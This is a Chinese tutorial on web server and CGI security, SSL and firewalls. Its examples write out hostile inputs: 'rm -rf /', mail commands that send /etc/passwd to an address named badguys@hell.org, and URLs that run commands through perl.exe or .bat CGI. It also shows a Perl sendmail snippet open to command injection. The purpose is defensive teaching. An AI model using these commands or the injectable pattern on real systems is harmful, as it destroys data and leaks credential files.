Web安全技術(shù)與防火墻
1、概述
計算機的安全性歷來都是人們討論的主要話題之一。而計算機安全主要研究的是計算機病毒的防治和系統(tǒng)的安全。在計算機網(wǎng)絡(luò)日益擴展和普及的今天,計算機安全的要求更高,涉及面更廣。不但要求防治病毒,還要提高系統(tǒng)抵抗外來非法黑客入侵的能力,還要提高對遠程數(shù)據(jù)傳輸?shù)谋C苄裕苊庠趥鬏斖局性馐芊欠ǜ`取。
在防治網(wǎng)絡(luò)病毒方面,在http傳輸中HTML文件是一般不會存在感染病毒的危險。危險在于下載可執(zhí)行軟件如:.zip .exe .arj .Z 等文件過程中應(yīng)特別加以注意。都有潛伏病毒的可能性。
對于系統(tǒng)本身安全性,主要考慮服務(wù)器自身穩(wěn)定性、健狀性,增強自身抵抗能力,杜絕一切可能讓黑客入侵的渠道,避免造成對系統(tǒng)的威脅。對重要商業(yè)應(yīng)用,必須加上防火墻和數(shù)據(jù)加密技術(shù)加以保護。
在數(shù)據(jù)加密方面,更重要的是不斷提高和改進數(shù)據(jù)加密技術(shù),使不法分子難有可乘之機。
當(dāng)然,計算機系統(tǒng)安全是個很大的范疇,本章僅僅討論在構(gòu)造 web時,可能出現(xiàn)的一些情況,希望能引起重視。
2、WEB在安全上的漏洞WEB 服務(wù)器上的漏洞可以從以下幾方面考慮:
(1)在web服務(wù)器上你不讓人訪問的秘密文件、目錄或重要數(shù)據(jù)。
(2)從遠程用戶向服務(wù)器發(fā)送信息時,特別是信用卡之類東西時,中途遭不法分子非法攔截。
(3) web服務(wù)器本身存在的一些漏洞,使得一些人能侵入到主機系統(tǒng)破壞一些重要的數(shù)據(jù),甚至造成系統(tǒng)癱瘓。
(4)CGI安全方面的漏洞有:
1〕有意或無意在主機系統(tǒng)中遺漏(bugs)給非法黑客創(chuàng)造條件。
2〕用 CGI腳本編寫的程序當(dāng)涉及到遠程用戶從瀏覽器中輸入表格(form) 并進行象檢索(Search index)或form-mail之類在主機上直接操作命令時,或許會給web主機系統(tǒng)造成危險。
因此,從CGI角度考慮WEB的安全性,主要是在編制程序時,應(yīng)詳細考慮到安全因素。盡量避免CGI程序中存在漏洞。
從web服務(wù)器版本上分析:
在1995年3月發(fā)現(xiàn)NCSA1.3以下版本的HTTPD明顯存在安全上的漏洞,即客戶計算機可以任意地執(zhí)行服務(wù)器上面的命令,非常危險。但,NCSA1.4以上版本的服務(wù)器就補上了這個漏洞。還有一些簡單的從網(wǎng)上下載WEB服務(wù)器,沒有過多考慮到一些安全因素,不能用作商業(yè)應(yīng)用。
因此,不管是配置服務(wù)器,還是在編寫 CGI程序時都要注意系統(tǒng)的安全性。盡量堵住任何存在的漏洞,創(chuàng)造安全的環(huán)境。在具體服務(wù)器設(shè)置及編寫 cgi程序時應(yīng)該注意:
管理服務(wù)器上
1)禁止亂用從其他網(wǎng)中下載的一些工具軟件,并在沒有詳細了解之前盡量不要用root身份注冊執(zhí)行。以防止某些程序員在程序中設(shè)下的陷井,如:程序中加上一兩行 "rm -rf /"或"mail username < /etc/passwd" 之類情況發(fā)生。
2)在選用 web服務(wù)器時,應(yīng)考慮到不同服務(wù)器對安全的要求不一樣。一些簡單的 web服務(wù)器就沒有考慮到一些安全的因素,不能把他用作商業(yè)應(yīng)用。只作一些個人的網(wǎng)點。
3)在利用WEB中的.htpass來管理和校驗用戶口令時,存在校驗的口令和用戶名不受次數(shù)限制。
3、如何在WEB上提高系統(tǒng)安全性和穩(wěn)定性
web服務(wù)器安全預(yù)防措施:
〔1〕限制在web服務(wù)器開帳戶,定期刪除一些斷進程的用戶。
〔2〕對在web服務(wù)器上開的帳戶,在口令長度及定期更改方面作出要求,防止被盜用。
〔3〕盡量使ftp, mail等服務(wù)器與之分開,去掉ftp,sendmail,tftp,NIS, NFS,finger,netstat等一些無關(guān)的應(yīng)用。
〔4〕在web服務(wù)器上去掉一些絕對不用的shell等之類解釋器,即當(dāng)在你的 cgi的程序中沒用到perl時,就盡量把perl在系統(tǒng)解釋器中刪除掉。
〔5〕定期查看服務(wù)器中的日志logs文件,分析一切可疑事件。在errorlog 中出現(xiàn)rm, login, /bin/perl, /bin/sh 等之類記錄時,你的服務(wù)器可能有受到一些非法用戶的入侵的嘗試。
〔6〕設(shè)置好web服務(wù)器上系統(tǒng)文件的權(quán)限和屬性,對可讓人訪問的文檔分配一個公用的組如:www,并只分配它只讀的權(quán)利。把所有的HTML文件歸屬WWW組,由WEB管理員管理WWW組。對于WEB的配置文件僅對WEB管理員有寫的權(quán)利。
〔7〕有些WEB服務(wù)器把WEB的文檔目錄與FTP目錄指在同一目錄時,應(yīng)該注意不要把FTP的目錄與CGI-BIN指定在一個目錄之下。這樣是為了防止一些用戶通過 FTP上在一些尤如PERL或SH之類程序并用WEB的CGI-BIN去執(zhí)行造成不良后果。
〔8〕通過限制許可訪問用戶IP或DNS如:
在NCSA中的access.conf中加上:
< Directory /full/path/to/directory >
< Limit GET POST >
order mutual-failure
deny from all
allow from 168.160.142. abc.net.cn
< /Limit >
< /Directory >
#p#這樣只能是以域名為abc.net.cn或IP屬于168.160.142的客戶訪問該WEB服務(wù)器。對于CERN或W3C服務(wù)器可以這樣在httpd.conf中加上:
Protection LOCAL-USERS {
GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
}
Protect /relative/path/to/directory/* LOCAL-USERS
〔9〕WINDOWS下HTTPD
1)Netscape Communications Server for NT
〖1〗Perl解釋器的漏洞
Netscape Communications Server中無法識別cgi-bin下的擴展名及其應(yīng)用關(guān)系,如:.pl是PERL的代碼程序自動調(diào)用 perl.exe文件解釋,即使現(xiàn)在也只能把perl.exe文件存放在cgi-bin目錄之下。執(zhí)行如:
/cgi-bin/perl.exe?&my_script.pl. 但是這就給任何人都有執(zhí)行 perl的可能,當(dāng)有些人在其瀏覽器的URL中加上如:/cgi-bin/perl.exe?&-e+unlink+%3C*%3E 時,有可能造成刪除服務(wù)器當(dāng)前目錄下文件的危險。但是,其他如:O''Reilly WebSite或Purveyor都不存在這種漏洞。
〖2〗CGI執(zhí)行批處理文件的漏洞
文件名:test.bat:
@echo off
echo Content-type: text/plain
echo
echo Hello World!
如果客戶瀏覽器的URL為:/cgi-bin/test.bat?&dir則執(zhí)行調(diào)用命令解釋器完成dir列表。這給訪問者有執(zhí)行其他命令可能性。
2)O''Reilly WebSite server for Windows NT/95
在WebSite1.1B以前的版本中使用配處理文件存在著Netscape同樣的漏洞,但是,新版關(guān)閉.bat在cgi中的作用。支持 perl,VB和C作為CGI開發(fā)工具。至于他的安全問題參看:http://website.ora.com/devcomer/secalert1。
3)Microsoft''s IIS Web Server
在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更嚴(yán)重,可以任意使用command命令。但之后修補該漏洞。你可檢查你的可執(zhí)行文件的建立日期。IIS3.0還存在一些安全bug,主要是cgi-bin下的覆給權(quán)利。
另外,許多 WEB服務(wù)器本身都存在一些安全上的漏洞,都是在版本升級過程不斷更新。在這就不一一列舉。
從CGI編程角度考慮安全:
〔1〕采用編譯語言比解釋語言會更安全些,并且 CGI程序應(yīng)放在獨立于HTML 存放目錄之外的CGI-BIN下,是為了防止一些非法訪問者從瀏覽器端取得解釋性語言的原代碼后從中尋找漏洞。
〔2〕在用C來編寫CGI程序時盡量少用popen(), system()和所有涉及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval()等exec或eval之類命令。在由用戶填寫的form還回cgi時,不要直接調(diào)用system()之類函數(shù)。這是為避免當(dāng)填寫內(nèi)容為“rm -rf /*”或“/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之類內(nèi)容。
〔3〕用Perl編寫CGI時如:
$mail_to = &get_name_from_input;
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailtonFrom: mennHi there!n";
close MAIL;
該小程序是把客戶瀏覽器的form到服務(wù)器的mail處理程序。
另外,對于數(shù)據(jù)的加密與傳輸,目前有SSL,SHTTP,SHEN等協(xié)議供大家研究。
〔1〕SSL(Secure Socket Layer)系由Netscape公司建議的一種建構(gòu)在TCP協(xié)議之上的保密措施通訊協(xié)議,不但適用于HTTP,而且還適用于 TELNET,FTP,NNTP, GOPHER等客戶/服務(wù)器模式的安全協(xié)議。Netscape Navigator, Secure Mosaic, 和Microsoft Internet Explorer等客戶瀏覽器與Netscape, Microsoft, IBM, Quarterdeck, OpenMarket 和 O''Reilly等服務(wù)器產(chǎn)品都采用SSL協(xié)議。
詳細請參看:http://home.netscape.com/newsref/std/SSL.html。
〔2〕SHTTP(Secure HTTP)系由CommerceNet公司建議構(gòu)造在HTTP協(xié)議之上的高層協(xié)議。目前由Open Market公司推銷的 Open Marketplace 服務(wù)器結(jié)合Enterprise Integration Technologies的Secure HTTP Mosaic客戶瀏覽器采用S-HTTP。
詳細參看:http://www.eit.com/creations/s-http/ 。
4、防火墻(Firewall)
當(dāng)一個網(wǎng)絡(luò)接上Internet之后,系統(tǒng)的安全除了考慮計算機病毒、系統(tǒng)的健壯性之外,更主要的是防止非法用戶的入侵。而目前防止的措施主要是靠防火墻的技術(shù)完成。防火墻(firewall)是指一個由軟件或和硬件設(shè)備組合而成,處于企業(yè)或網(wǎng)絡(luò)群體計算機與外界通道(Internet)之間,限制外界用戶對內(nèi)部網(wǎng)絡(luò)訪問及管理內(nèi)部用戶訪問外界網(wǎng)絡(luò)的權(quán)限。
【編輯推薦】